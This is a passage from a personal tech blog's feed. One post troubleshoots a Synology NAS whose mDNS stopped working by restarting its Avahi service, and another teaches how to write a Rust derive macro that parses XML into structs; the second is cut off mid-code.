<code>nasgul</code> responsible for replying to mDNS queries.</p> <p><strong>Knowledge</strong> (random memory): I think that on most Linux systems, Avahi is used to respond to multicast DNS. I seem to remember installing it on <code>treebeard</code> myself.</p> <p>Okay, this is a little open-ended, but still tractable: let's check out <code>nasgul</code> and see if we can find any software (maybe Avahi?) that could theoretically resolve mDNS queries.</p> <p>Time to open up an ssh session and flail some more:</p> <pre><code>$ ssh admin@192.168.0.201 admin@nasgul:/$ apropos mdns -sh: apropos: command not found </code></pre> <aside> We could try to figure out what package manager (if any) <code>nasgul</code> is running, and install additional software that way, but since I know everything worked before, I want to avoid messing with the system for the time being. </aside> <p>Ah. I guess I should've expected that the Synology-provided OS probably isn't a standard Linux distribution with all the goodies I'd expect. For now, let's just assume that if <code>nasgul</code> is running any mDNS software, it's Avahi, and see where that guess takes us.</p> <p><strong>Experiment:</strong> is there already an Avahi <a rel="external" href="https://en.wikipedia.org/wiki/Daemon_(computing)">daemon</a> running?</p> <pre><code>admin@nasgul:/$ ps aux | grep [a]vahi | wc -l 0 </code></pre> <p>Guess not.</p> <p>So: <code>nasgul</code> <em>probably</em> has some software installed to respond to mDNS queries (since this worked before), but we don't know what it is, or why it isn't working. Back to flailing, I guess?</p> <p>Scattershot internet searches for terms like "Synology" "mdns" "avahi" eventually bring up a <a rel="external" href="https://web.archive.org/web/20221109212103/https://blog.elsdoerfer.name/2011/05/15/shairport-on-synology-nas/">blog post</a> that involves mucking around with the internals of a Synology NAS. The details of the post aren't relevant to me, but a few mentions of Avahi catch my eye—especially the command <code>/usr/syno/etc/rc.d/S99avahi.sh stop</code>. That certainly looks like a script related to running Avahi! I don't have that exact script on <code>nasgul</code>, but there is something similar… let's take a look.</p> <pre><code>admin@nasgul:/$ less /usr/syno/etc/rc.sysv/avahi.sh -sh: less: command not found admin@nasgul:/$ # D&#39;oh--remember kids, &quot;less is more&quot; admin@nasgul:/$ more /usr/syno/etc/rc.sysv/avahi.sh [...] admin@nasgul:/$ wc -l /usr/syno/etc/rc.sysv/avahi.sh 287 /usr/syno/etc/rc.sysv/avahi.sh admin@nasgul:/$ tail -n 31 /usr/syno/etc/rc.sysv/avahi.sh ServName=&quot;`/bin/hostname`&quot; # make sure $AVAHI_SERVICE_PATH exists if ! [ -d $AVAHI_SERVICE_PATH ]; then /bin/mkdir -p $AVAHI_SERVICE_PATH; fi case &quot;$1&quot; in avahi-delete-conf) CheckServices ;; afp-conf) AddAFP $ServName $SYNOSDUTILS time-machine --afp-status ;; smb-conf) AddSMB $ServName $SYNOSDUTILS time-machine --smb-status ;; bonjour-conf) AddBoujourPrinter $ServName ;; ftp-conf) AddFtp $ServName ;; sftp-conf) AddSftp $ServName ;; esac exit 0 </code></pre> <p>Hmm… it's a ~300 line script that defines a bunch of functions, and seems to run some of those functions based on the argument you give it. The only relevant choice seems to be <code>avahi-delete-conf</code>, which is not especially promising. I must confess: out of desperation, I ran this script without any argument just to see what would happen. It didn't seem to do anything (assuming the <code>case</code> statement at the end is the entry point, we just fall right through), but it's a bad idea to run a script you don't fully understand: there's no telling how you might affect the system you're investigating without realizing it! (For instance, what if running that script started up a new background process without announcing it?)</p> <p>After staring at the name of the file a little longer, and seeing various references to <code>*.service</code> entries in the script, something clicked in my memory:</p> <p><strong>Knowledge:</strong> Oh, right! Pretty much every Linux system has some kind of "init" system that is usually responsible for starting up long-lived services (like the Avahi daemon, presumably). Systemd is a common choice for such a system these days, but there are others too. (I think "SysV" is another one of these that used to be popular, and I see that in the script name.)</p> <p><strong>Observation:</strong> some of these files I see on <code>nasgul</code> look like they could be related to init scripts.</p> <p><strong>Hypothesis:</strong> if Avahi was running before, it was probably controlled by some kind of init system. If that's true, can we use the init system to get Avahi running again?</p> <p><strong>Experiment:</strong> Systemd is popular and I (kinda sorta) know how to use it, maybe we'll get lucky?</p> <pre><code>admin@nasgul:/$ systemctl status avahi -sh: systemctl: command not found </code></pre> <p>Eh, back to flailing—hey internet, got anything for "synology dsm init service"? Ooh, nice! <cite>Majikshoe's House of Mediocrity</cite> has a post <a rel="external" href="https://web.archive.org/web/20221109215838/https://majikshoe.blogspot.com/2014/12/starting-service-on-synology-dsm-5.html">Synology NAS - How to make a program run at startup</a>, which claims that <a rel="external" href="https://upstart.ubuntu.com/">Upstart</a> is the init service in use. Sure enough, there's a file <code>/etc/init/avahi.conf</code>, which matches where the post says Upstart scripts are typically placed. A quick check of Upstart's documentation gives us the command <code>initctl</code>:</p> <pre><code>admin@nasgul:/$ initctl list | grep avahi avahi stop/waiting </code></pre> <p>Now we're talking! It seems that Avahi is installed, and known to the init system—could it be as easy as just restarting it ourselves?</p> <pre><code>admin@nasgul:/$ initctl start avahi initctl: Rejected send message, 1 matched rules; type=&quot;method_call&quot;, sender=&quot;:1.93&quot; (uid=1024 pid=2660 comm=&quot;initctl start avahi &quot;) interface=&quot;com.ubuntu.Upstart0_6.Job&quot; member=&quot;Start&quot; error name=&quot;(unset)&quot; requested_reply=&quot;0&quot; destination=&quot;com.ubuntu.Upstart&quot; (uid=0 pid=1 comm=&quot;/sbin/init &quot;) </code></pre> <p>Yuck—there's a lot of data in that message, but I can't make much sense of it. At least the start of the message looks pretty distinctive; let's search for that exactly (<code>"Rejected send message, 1 matched rules"</code>) and cross our fingers…</p> <p><a rel="external" href="https://web.archive.org/web/20221110145954/https://askubuntu.com/questions/522375/rejected-send-message-1-matched-rules-type-method-call-sender-1-5-whil">StackOverflow</a> to the rescue! With the blindingly obvious reminder that yeah, you probably do need to be root to mess with running services. One more time:</p> <pre><code>admin@nasgul:/$ sudo initctl start avahi avahi start/running, process 26222 </code></pre> <p>Could it be…‽</p> <p><strong>Hypothesis:</strong> with Avahi up and running, our original problem should be solved.</p> <p><strong>Experiment:</strong> rerunning our earliest test:</p> <pre><code>$ ping -c 1 nasgul.local PING nasgul.local (192.168.0.201) 56(84) bytes of data. 64 bytes from 192.168.0.201 (192.168.0.201): icmp_seq=1 ttl=64 time=0.962 ms --- nasgul.local ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.962/0.962/0.962/0.000 ms </code></pre> <p>Huzzah! And now the web GUI at <code>http://nasgul.local:5000</code> loads as expected as well. We're done!</p> <h2 id="recap">Recap</h2> <p>So: how did we fare overall? Not bad, I think. Obviously someone more experienced could skip some of my flailing (e.g., pulling out <code>tcpdump</code> right away, identifying the init system more quickly/directly—<a rel="external" href="https://web.archive.org/web/20221110180959/https://unix.stackexchange.com/questions/18209/detect-init-system-using-the-shell">like this</a>), but I think the big takeaway here is that we didn't <em>need</em> decades of knowledge and know-how to figure it out: all it took was some awareness of a few fundamental concepts (e.g., the basic mechanics of mDNS, how long-running processes are usually managed) and a disciplined, stick-to-it attitude while debugging.</p> <p>One tactic notably omitted from this episode is locating and analysing log files (start by looking under <code>/var/log</code>!)—those are usually a trove of essential information, but we managed to get by without them.</p> <p>It's also worth pointing out that we haven't completed a full root cause analysis. In particular, I still don't know <em>why</em> the Avahi daemon stopped working in the first place.<sup class="footnote-reference"><a href="#log-files">7</a></sup> If we were working on a critical production system, stopping here would be premature: yes, we've addressed the immediate symptom, but how do we know we've really fixed the underlying problem?</p> <h2 id="addendum-how-can-one-get-better-at-this">Addendum: how can one get better at this?</h2> <p>I've found these kinds of "hands-on" skills to be really useful in a standard software engineering role, but I doubt you'll find a course that covers them in a typical CS degree; this is more hands-on/experiential knowledge than it is academic. So what do you do if you want to hone these skills? Up until recently, my only suggestions would have been "set up some computers at home for fun and do stuff with them" (still highly recommended!) or "try to pick it up on the job," but a recent <a rel="external" href="https://web.archive.org/web/20221110173454/https://news.ycombinator.com/item?id=33344142">Hacker News post</a> offers an alternative. Just like how many online services let you practice interview-style programming questions, <a rel="external" href="https://sadservers.com/scenarios">SadServers.com</a> provides a suite of "real-world" debugging challenges. You're dropped into a VM with some kind of problem (e.g., "why isn't the web server showing the index page?") and tasked with fixing it yourself. I've only done a few, but they were often (painfully) realistic, and lots of fun. I recommend the "Karakorum" scenario in particular if you want to stretch your neurons a bit.</p> <p>Until next time, may your flailing be ever fruitful.</p> <hr> <div class="footnote-definition" id="syncthing"><sup class="footnote-definition-label">1</sup> <p>To be exact, I was trying to install <a rel="external" href="https://syncthing.net/">Syncthing</a> on my Synology DS216se. If you're in the same boat, I recommend downloading the appropriate package from the <a rel="external" href="https://synocommunity.com/package/syncthing">SynoCommunity page</a> (in the Synology web GUI, look at "Control Panel" &gt; "Info Center" and use "DSM version" / "CPU" to figure out what version you need—it was <code>6.1 armada370</code> in my case) and installing it manually. I went with this suboptimal approach after a couple others failed: 1) in theory, one should be able to add that SynoCommunity feed as a "Package Source", but that didn't work for me. 2) Upgrading the OS to DSM 7 might've made it easier to install Syncthing, but that seemed like more effort than it was worth, and cursory searches suggested the recommended RAM for DSM 7 is 4x what's in my NAS. Why didn't I subject issue 1) to our rigorous debugging algorithm? Well… when that failed, the only feedback I got was an unhelpful message in the GUI. We need more data than that for a good investigation, and I didn't want to spend time tracking down where (if anywhere) the NAS logs more detailed error information.</p> </div> <div class="footnote-definition" id="password-reset"><sup class="footnote-definition-label">2</sup> <p>Side note: I have <em>no idea</em> why I needed to do this. This happened soon after I set up Syncthing. When I was choosing a username/password for Syncthing, I think I overwrote the general NAS admin password in my password manager by accident, but a) I don't recall having done anything <em>on the NAS itself</em> that should've triggered changing the password (messing up your password manager shouldn't have any impact on the websites you use it with!), and b) after this point, neither the old admin password nor the Syncthing password worked. Spooky.</p> </div> <div class="footnote-definition" id="http"><sup class="footnote-definition-label">3</sup> <p>I know, I know; right now I don't have HTTPS support working on the NAS. But that shouldn't <em>really</em> matter unless someone was snooping on the wireless traffic in my home. And you'd have to be <em>seriously</em> paranoid to give that even a moment of consideration… right?? (I'll get to it one day.)</p> </div> <p>Also, yeah, if you read any post involving <a href="https://simpsonian.ca/blog/a-long-overdue-nap/"><code>treebeard</code></a>, you might be picking up on a theme with the hostnames. Embarrassingly, I wouldn't even call myself a Lord of the Rings fan per se, but my wife christened <code>treebeard</code> first and thus set the precedent. After that, I can't <em>not</em> dub the NAS <code>nasgul</code>.</p> <div class="footnote-definition" id="termination"><sup class="footnote-definition-label">4</sup> <p>Yes, until you've figured out the issue; apologies if my inexactitude has trapped your brain in a busy loop.</p> </div> <div class="footnote-definition" id="port-5353"><sup class="footnote-definition-label">5</sup> <p>Cute, the standard DNS port twice; that'll make it easier to remember for next time.</p> </div> <div class="footnote-definition" id="jevans-tcpdump"><sup class="footnote-definition-label">6</sup> <p>Looking this up after the fact, check out the free <a rel="external" href="https://wizardzines.com/zines/tcpdump/">"zine"</a> she published that gives a super quick and useful introduction to <code>tcpdump</code>. I should start including her material in my go-to flail resources!</p> </div> <div class="footnote-definition" id="log-files"><sup class="footnote-definition-label">7</sup> <p>Just for fun, afterwards I did pull the relevant log file, <code>/var/log/upstart/avahi.log</code>, which is mostly filled with sporadic but identical failures of the form:</p> </div> <pre><code>2022-11-06T15:53:18-0500 cname_load_conf failed:/var/tmp/nginx/avahi-aliases.conf </code></pre> <p>That doesn't mean anything in particular to me (other than noting that nginx is a web server and CNAME is a DNS record type?), but it would be a good first clue if we wanted to continue searching for the root cause.</p> 2022-10-07T00:00:00+00:00 2022-10-07T00:00:00+00:00 https://simpsonian.ca/blog/writing-a-procedural-macro-in-rust/ <p>Lately I've been playing around with writing a feed reader in Rust. The two ubiquitous feed formats—RSS and Atom—are both XML-based, which means I've been writing a lot of code to go from XML to the actual Rust structs I can use in my code. This post will show how my parsing logic went from "boilerplate heavy, hand-written monstrosity" to just a single line of code using the power of macros.</p> <p>I'm going to stick to a fairly high-level overview in this post (think "what are Rust macros and why would I use them," not "here are the intricacies of mixing <code>proc_macro</code> and <code>proc_macro2</code>"). I also assume that the reader has some familiarity with Rust, but I don't think that's required to follow the main points. If you want the full gory details, check out the <a rel="external" href="https://gitlab.com/JoshWVS/derive-xml/-/tree/master">source code</a>.</p> <p>Disclaimer: as you'll soon realize, I'm figuring this out as I go; don't treat this as an authoritative reference on style, structure, or… well, anything else really. Here's what I can offer though: <em>just enough</em> knowledge to be dangerous.</p> <h2 id="setup">Setup</h2> <p>Let's say we're dealing with some XML that has a very simple structure, like the following:</p> <pre><code>&lt;post&gt; &lt;title&gt;Mustache waxing tips&lt;/title&gt; &lt;author&gt;Guy Incognito&lt;/author&gt; &lt;/post&gt; </code></pre> <p>We can very naturally represent that in Rust with a <code>struct</code><sup class="footnote-reference"><a href="#strings">1</a></sup>:</p> <pre><code data-lang="rust">struct Post { title: String, author: String, } </code></pre> <p>The question we face is: how can we turn our XML snippet above into a concrete instance of <code>Post</code>?</p> <h2 id="artisanal-handmade-parser">Artisanal, handmade parser</h2> <p>Well, first things first: before we can think about the contents of our XML, we're going to need to convert the raw text into the semantic XML elements it comprises. I don't have the appetite to write a full XML parser from scratch, so instead let's leverage <a rel="external" href="https://github.com/netvl/xml-rs"><code>xml-rs</code></a>. We'll start with a short program to acquaint ourselves with its API:</p> <pre><code data-lang="rust">use xml::reader::EventReader; fn print_indent(indent: u8) { for _ in 0..indent { print!(&quot; &quot;); } } fn print_xml(s: &amp;str) { use xml::reader::XmlEvent::*; let reader = EventReader::from_str(s); let mut indent = 0; for event in reader { match event { Err(e) =&gt; println!(&quot;Saw an error: {}&quot;, e), Ok(StartDocument { .. }) =&gt; println!(&quot;START OF DOCUMENT&quot;), Ok(StartElement { name, .. }) =&gt; { print_indent(indent); println!(&quot;Begin element &lt;{}&gt;&quot;, name); indent += 2; } Ok(Characters(s)) =&gt; { print_indent(indent); println!(&quot;contents: &#39;{}&#39;&quot;, s); } Ok(EndElement { name, .. }) =&gt; { indent -= 2; print_indent(indent); println!(&quot;End element &lt;{}&gt;&quot;, name); } Ok(Whitespace(_)) =&gt; (), // ignore whitespace (better: see xml::reader::ParserConfig) Ok(EndDocument { .. }) =&gt; println!(&quot;END OF DOCUMENT&quot;), Ok(_) =&gt; println!(&quot;Saw an unrecognized event...&quot;), } } } fn main() { let input = &quot;&lt;post&gt; &lt;title&gt;Mustache waxing tips&lt;/title&gt; &lt;author&gt;Guy Incognito&lt;/author&gt; &lt;/post&gt;&quot;; print_xml(input); } </code></pre> <p>Running that prints:</p> <pre><code>START OF DOCUMENT Begin element &lt;post&gt; Begin element &lt;title&gt; contents: &#39;Mustache waxing tips&#39; End element &lt;title&gt; Begin element &lt;author&gt; contents: &#39;Guy Incognito&#39; End element &lt;author&gt; End element &lt;post&gt; END OF DOCUMENT </code></pre> <p>This seems pretty straightforward: <code>StartElement</code> and <code>EndElement</code> tags tell us what we're dealing with, and in our case we just want to extract the contents of the <code>Characters</code> event between them for each field in our struct. I remember enjoying messing around with finite-state machines in university; just for old times' sake, let's emulate one by tracking what state we're in as we process the events:</p> <p><a name="handwritten-parser"></a></p> <pre><code data-lang="rust">use xml::reader::EventReader; #[derive(Default)] struct Post { title: String, author: String, } fn parse_post(s: &amp;str) -&gt; Post { enum ParserState { AwaitingPost, BuildingPost, AwaitingTitle, AwaitingAuthor, } use xml::reader::XmlEvent::*; use ParserState::*; let reader = EventReader::from_str(s); let mut post = Post::default(); let mut state = AwaitingPost; for event in reader { match (&amp;state, event) { (_, Err(e)) =&gt; println!(&quot;Saw an error: {}&quot;, e), (AwaitingPost, Ok(StartElement { name, .. })) if name.local_name == &quot;post&quot; =&gt; { state = BuildingPost; } (BuildingPost, Ok(StartElement { name, .. })) if name.local_name == &quot;title&quot; =&gt; { state = AwaitingTitle; } (BuildingPost, Ok(StartElement { name, .. })) if name.local_name == &quot;author&quot; =&gt; { state = AwaitingAuthor; } (AwaitingTitle, Ok(Characters(s))) =&gt; { post.title = s; } (AwaitingAuthor, Ok(Characters(s))) =&gt; { post.author = s; } (AwaitingTitle, Ok(EndElement { name, .. })) if name.local_name == &quot;title&quot; =&gt; { state = BuildingPost; } (AwaitingAuthor, Ok(EndElement { name, .. })) if name.local_name == &quot;author&quot; =&gt; { state = BuildingPost; } (_, Ok(_)) =&gt; (), // ignore other events } } post } fn main() { let input = &quot;&lt;post&gt; &lt;title&gt;Mustache waxing tips&lt;/title&gt; &lt;author&gt;Guy Incognito&lt;/author&gt; &lt;/post&gt;&quot;; let post = parse_post(input); assert_eq!(post.title, &quot;Mustache waxing tips&quot;); assert_eq!(post.author, &quot;Guy Incognito&quot;); } </code></pre> <p>Let's break down some key points:</p> <ul> <li>We define a function <code>parse_post</code> to extract a <code>Post</code> from an (XML-serialized) <code>&amp;str</code>. The <code>assert_eq!</code> calls confirm that the <code>Post</code> it produces has the title and author we expect.</li> <li>As promised, <code>parse_post</code> tracks its state internally and uses that to decide what to do next (see below for a diagram showing the key states &amp; transitions).</li> <li>If a match pattern like <code>(AwaitingPost, Ok(StartElement { name, .. })) if name.local_name == "post"</code> is wrong, I don't want to be right. Sure, it's long, but we express <em>so much</em>, <em>so clearly</em> in this pattern: "if we're in state <code>AwaitingPost</code> and we see a <code>&lt;post&gt;</code> element, run this code…" I adore structural pattern matching, and being able to check conditions on fields that we extract from <em>nested</em> patterns is simply <em>*chef's kiss*</em>.</li> <li>Pros: <ul> <li>Maybe it's just me, but I really like modelling this as a state machine. We define the semantically meaningful states for our parser, and the XML events we observe inform the transitions. That means we only need to reason in small, "local" steps, i.e. "if I'm in state X and observe event Y, what should I do?" Answering questions of that form is generally straightforward, and once we've pinned down those local details, the big picture just ends up working out.</li> </ul> </li> <li>Cons: <ul> <li>Even with only two fields, there's already some obvious repetition: we create effectively the same set of states &amp; transitions for <code>title</code> and <code>author</code>, just with different names. We could support new fields by updating <code>parse_post</code>, but it would be a little onerous to do so.</li> <li>We're being a little sloppy with our validation/error handling (e.g., we don't complain about a mismatched closing tag, even though it would mess us up). That's mostly for the sake of brevity here—we could better use/extend the parser states to signal descriptive errors in those cases (at the cost of adding some additional complexity).</li> <li>If a field is missing in our XML representation, the corresponding struct field retains its default value (from <code>Post::default()</code>). That means we can't distinguish between "this field was missing in the original XML" and "the field was present, but it happened to be empty." We could better signal our intent by using <code>Option&lt;T&gt;</code> in our struct fields.<sup class="footnote-reference"><a href="#struct-data-pattern">2</a></sup></li> </ul> </li> </ul> <figure> <img src="/blog/writing-a-procedural-macro-in-rust/./parser_states.png" alt="Diagram showing (most of) the states in our parser and the transitions between them" class="centre"> <figcaption><p>A graphical representation of the important states/transitions in our hand-written parser</p> </figcaption> </figure> <h2 id="rise-of-the-machines">Rise of the machines</h2> <p>I like the core design of our parser, but it's not very practical for my feed reader use case—those structs can have dozens of fields, making the repetitive boilerplate unreasonably onerous. But wait—isn't programming all about automating away boring, repetitive tasks? Since the transitions are so formulaic, can't we just write code to <em>generate</em> that other code for us?</p> <p>Of course we can! And in Rust, macros are how we do just that. In fact, we've already seen an example. Take another look at <a href="https://simpsonian.ca/blog/writing-a-procedural-macro-in-rust/#handwritten-parser"><code>parse_post</code></a>: we call the function <code>Post::default()</code>, but we haven't actually defined it anywhere ourselves. From whence cometh this ghostly function? Well, notice how we annotated our struct definition with <code>#[derive(Default)]</code>. That's us asking the compiler "hey—I know there's this <a rel="external" href="https://doc.rust-lang.org/std/default/trait.Default.html"><code>Default</code></a> trait out there, and it has some methods I want implemented for <code>Post</code>… but I really don't want to implement them myself. D'ya think maybe you could help me out?" And thanks to a <em>procedural macro</em> behind the scenes, it can!</p> <aside> I find the nomenclature around Rust macros to be hard to follow at times. As I understand it, there are two major categories of macros: <em>declarative</em> and <em>procedural</em>. However, declarative macros are also called "macros by example" or even just "macros." Needless to say, this can be confusing for the uninitiated—one might assume from the name that the section <em><a rel="external" href="https://doc.rust-lang.org/stable/reference/macros-by-example.html">Macros By Example</a></em> in the Rust Reference would be replete with practical, uh, examples of how to write macros, but no; it gives the specification of declarative macros, which it calls "macros by example." </aside> <p>So, how do write our own macro? First, we should cover the two families of macros in Rust: <em>declarative</em> macros and <em>procedural</em> macros. In a declarative macro, we specify pattern(s) and their corresponding expansions. The compiler attempts to match our patterns against the macro arguments, and replaces them with the corresponding expansion. (We'll see an example of this <a href="https://simpsonian.ca/blog/writing-a-procedural-macro-in-rust/#the-other-flavour-of-macros-declarative">later</a>.) Procedural macros are more flexible and more complicated to write: rather than providing patterns for the compiler to match, a procedural macro receives a list of raw tokens<sup class="footnote-reference"><a href="#tokenstream">3</a></sup> and also returns a list of raw tokens—this provides a very general mechanism to inspect some user-provided code and generate other code in response.</p> <p>One nice way to frame our problem conceptually is to start by defining a trait that expresses our desired behaviour. The function signature from our previous parser still seems to fit the bill, so let's create a trait with just that function:</p> <pre><code data-lang="rust">// Recall that our parser above calls T::default(), then fills in the members // one at a time, so we require that T implements Default pub trait DeserializeXml: Default { fn from_str(s: &amp;str) -&gt; Result&lt;Self&gt;; } </code></pre> <p>What we'd like to be able to do now is to automatically generate an implementation for <code>DeserializeXml</code> for a given struct. In Rust, we can do this with <a rel="external" href="https://doc.rust-lang.org/stable/book/ch19-06-macros.html#how-to-write-a-custom-derive-macro"><code>derive</code> macros</a>, which are a type of <em>procedural</em> macro. If you've ever used a templating language (like Jinja), that's how I like to think about this: we need to define a template for the code we want to generate, and that template will get expanded with the struct for which our <code>derive</code> macro is being called.<sup class="footnote-reference"><a href="#template-analogy">4</a></sup> To be very literal about it, here's what our <code>from_str</code> implementation might look like if we actually did write it out as a Jinja template:</p> <pre><code>impl DeserializeXml for {{ struct.name }} { fn from_str(s: &amp;str) -&gt; Result&lt;Self&gt; { enum ParserState { Awaiting_{{ struct.name }}, Building_{{ struct.name }}, {% for field in struct.fields %} Awaiting_{{ field }}, {% endfor %} } use xml::reader::XmlEvent::*; use ParserState::*; let reader = EventReader::from_str(s); let mut result = {{ struct.name }}::default(); let mut state = Awaiting_{{ struct.name }}; for event in reader { match (&amp;state, event) { (_, Err(e)) =&gt; println!(&quot;Saw an error: {}&quot;, e), (Awaiting_{{ struct.name }}, Ok(StartElement { name, .. })) if name.local_name == &quot;{{ struct.name }}&quot; =&gt; { state = Building_{{ struct.name }}; } {% for field in struct.fields %} (Building_{{ struct.name }}, Ok(StartElement { name, .. })) if name.local_name == &quot;{{ field }}&quot; =&gt; { state = Awaiting_{{ field }}; } (Awaiting_{{ field }}, Ok(Characters(s))) =&gt; { result.{{ field }} = s; } (Awaiting_{{ field }}, Ok(EndElement { name, .. })) if name.local_name == &quot;{{ field }}&quot; =&gt; { state = Building_{{ struct.name }}; } {% endfor %} (_, Ok(_)) =&gt; (), // ignore other events } } Ok(result) } } </code></pre> <p>If we were to expand that template with this…</p> <pre><code>{ &quot;struct&quot;: { &quot;name&quot;: &quot;post&quot;, &quot;fields&quot;: [&quot;title&quot;, &quot;author&quot;] } } </code></pre> <p>…we'd end up with basically the same <code>from_str</code> implementation that we wrote by hand before!</p> <p>Of course, procedural macros aren't actually written as Jinja templates. You can see the nitty-gritty of my implementation in <a rel="external" href="https://gitlab.com/JoshWVS/derive-xml/-/blob/master/deserialize_xml_derive/src/lib.rs">this file</a> (warning: ugly and hacky code!), but honestly, I don't think it is particularly instructive. Instead, let me share one (annotated &amp; edited) snippet to show we're not <em>so</em> far off from the template version above. <em>(Note: in this snippet, anything in a <code>quote!</code> block will be emitted as literal Rust code; furthermore, <code>#ident</code> <em>within</em> a <code>quote!</code> block means "replace <code>#ident</code> with the value of the variable <code>ident</code> before generating the code.")</em></p> <p><a name="macro-snippet"></a></p> <pre><code data-lang="rust">// The heart of our macro: for each field in the struct, generate the relevant match arms for field in &amp;named.named { // named.named is the named fields of our struct let field_name = field.ident.as_ref().unwrap(); // I.e. if the field is type Vec&lt;T&gt;, we want inner_type to be T let inner_type = extract_inner_vec_type(&amp;field.ty); let mut tag_name = match inner_type { // By default, assume that struct `Post` corresponds to XML tag `&lt;post&gt;` None =&gt; field_name.to_string().to_ascii_lowercase(), Some(inner_type) =&gt; inner_type.to_string().to_ascii_lowercase(), }; // To parse the field, we make a recursive call (this field could be a struct itself!) // `from_reader` is similar to the `from_str` we defined in earlier examples let assignment_stmt = match inner_type { None =&gt; quote! { result.#field_name = DeserializeXml::from_reader(reader)?; }, // If the associated struct field is a Vec, we need to push (not just assign) Some(_) =&gt; quote! { result.#field_name.push(DeserializeXml::from_reader(reader)?); }, }; // Same match pattern idea as before let match_body_case = quote! { (BuildingStruct, Ok(StartElement { name, .. })) if name.local_name == #tag_name &amp;&amp; name.prefix.is_none() =&gt; { #assignment_stmt } }; match_body.push(match_body_case); } </code></pre> <h2 id="our-reward">Our reward</h2> <p>We've gone through all the effort of defining our own trait and writing a procedural macro that can automatically generate an implementation of said trait. Was it worth it? Well, here's an example of what our macro can do for us now (don't worry about those <code>#[deserialize_xml(...)]</code> sections; we'll cover those <a href="https://simpsonian.ca/blog/writing-a-procedural-macro-in-rust/#adding-more-functionality-with-attributes">below</a>):</p> <pre><code>use deserialize_xml::DeserializeXml; #[derive(Default, Debug, DeserializeXml)] // This attribute indicates we should parse this struct upon encountering an &lt;item&gt; tag #[deserialize_xml(tag = &quot;item&quot;)] struct Post { title: String, author: String, } #[derive(Default, Debug, DeserializeXml)] struct Channel { title: String, // This allows us to use an idiomatic name for the // struct member instead of the raw tag name #[deserialize_xml(tag = &quot;lastUpdated&quot;)] last_updated: String, ttl: u32, // (unfortunately, we need to repeat `tag = &quot;item&quot;` here for now) #[deserialize_xml(tag = &quot;item&quot;)] entries: Vec&lt;StringOnly&gt;, } let input = r#&quot;&lt;channel&gt; &lt;title&gt;test channel please ignore&lt;/title&gt; &lt;lastUpdated&gt;2022-09-22&lt;/lastUpdated&gt; &lt;ttl&gt;3600&lt;/ttl&gt; &lt;item&gt;&lt;title&gt;Article 1&lt;/title&gt;&lt;author&gt;Guy&lt;/author&gt;&lt;/item&gt; &lt;item&gt;&lt;title&gt;Article 2&lt;/title&gt;&lt;author&gt;Dudette&lt;/author&gt;&lt;/item&gt; &lt;/channel&gt;&quot;#; let result = Channel::from_str(input).unwrap(); assert_eq!(result.title, &quot;test channel please ignore&quot;); assert_eq!(result.last_updated, &quot;2022-09-22&quot;); assert_eq!(result.ttl, 3600); assert_eq!(result.entries.len(), 2); assert_eq!(result.entries[0].title, &quot;Article 1&quot;); assert_eq!(result.entries[0].author, &quot;Guy&quot;); assert_eq!(result.entries[1].title, &quot;Article 2&quot;); assert_eq!(result.entries[1].author, &quot;Dudette&quot;); </code></pre> <p>We've successfully parsed a <code>Vec</code> of <code>struct</code> within another <code>struct</code> from XML, and all we had to do was add a couple of <code>#[derive(DeserializeXml)]</code> calls—that seems pretty good to me. 😎</p> <h2 id="extras">Extras</h2> <h3 id="the-other-flavour-of-macros-declarative">The other flavour of macros: declarative</h3> <p>If you were paying attention, you might've spotted a problem in the procedural macro snippet <a href="https://simpsonian.ca/blog/writing-a-procedural-macro-in-rust/#macro-snippet">above</a>. To parse a struct member, we make a recursive call to <code>DeserializeXml::from_reader</code>. That makes sense if our struct's field is a struct itself (we could call our macro on both the outer and inner structs to ensure <code>DeserializeXml::from_reader</code> is implemented for both), but eventually we're going to want to parse something simple—say a <code>String</code> or <code>u8</code>. What happens then? It doesn't seem like that will compile, since there's no implementation of <code>DeserializeXml::from_reader</code> for <code>String</code>. However, since these types are obvious "base cases" that presumably will always be handled the same way, my crate provides implementations for those specific types.</p> <p>Let's take a closer look at what such an implementation should look like for <code>u8</code>. Conceptually, it's pretty straightforward: we just need to extract the contents of the <code>Characters</code> event (like before); the only difference is that now we also need to parse that string to a <code>u8</code> before returning. Being a little bit lax about our error handling, the result might look something like this:</p> <pre><code data-lang="rust">impl DeserializeXml for u8 { fn from_reader&lt;R: Read&gt;(reader: &amp;mut Peekable&lt;::xml::reader::Events&lt;R&gt;&gt;) -&gt; Result&lt;Self&gt; { use ::xml::reader::XmlEvent::*; reader.next(); // TODO: assert this is a StartElement; raise error if not let result = match reader.next().unwrap() { Ok(Characters(s)) =&gt; Ok(s.parse::&lt;u8&gt;()?), // String -&gt; u8 happens here Ok(event) =&gt; { let msg = format!(&quot;when parsing u8: expected characters, but saw {:?}&quot;, event); Err(Error::new(msg))? }, Err(e) =&gt; Err(e)?, }; reader.next(); // TODO: assert this is an EndElement; raise error if not result } } </code></pre> <p>That works just fine, so we can just copy-paste-find-replace it for <code>i8</code>. And <code>u16</code>, and <code>i16</code>. But by the time we get to the 32s, there should be a nagging voice in back of your mind: "this whole project has been about <em>automating away</em> boilerplate code—why are we repeating what is effectively the same implementation over and over again?"</p> <p>We might naturally reach once again for <code>derive</code> macros, but they're not really a good fit here. There's no <code>struct</code> for us to annotate with our <code>#[derive]</code>—instead, we just want some simple way to repeat our implementation for a variety of types. Fortunately, declarative macros let us do just that!</p> <p>For more details, I'll direct you to <a rel="external" href="https://doc.rust-lang.org/stable/book/ch19-06-macros.html">the Rust Book</a>, but suffice it to say, declarative macros look much more like regular <code>match</code> statements: we provide one or more patterns and their corresponding code; our macro will match its arguments against those patterns and emit the corresponding code.</p> <pre><code>// Define our declarative macro... macro_rules! generate_numeric_impl { // Here&#39;s our pattern: we&#39;re expecting to receive one argument, which will // itself be a type (e.g., u8)--we can refer to that argument later as $type ($type:ty) =&gt; { // Here&#39;s our implementation: the same as before, but using $type, not u8 impl DeserializeXml for $type { fn from_reader&lt;R: Read&gt;(reader: &amp;mut Peekable&lt;::xml::reader::Events&lt;R&gt;&gt;) -&gt; Result&lt;Self&gt; { use ::xml::reader::XmlEvent::*; let unexpected_end_msg = &quot;XML stream ended unexpectedly&quot;; let msg_prefix = &quot;when parsing numeric type:&quot;; reader.next(); // TODO: assert this is a StartElement; raise error if not let result = match reader.next() { Some(Ok(Characters(s))) =&gt; Ok(s.parse::&lt;$type&gt;()?), Some(Ok(event)) =&gt; { let msg = format!(&quot;{} expected characters, but saw {:?}&quot;, msg_prefix, event); Err(Error::new(msg))? }, 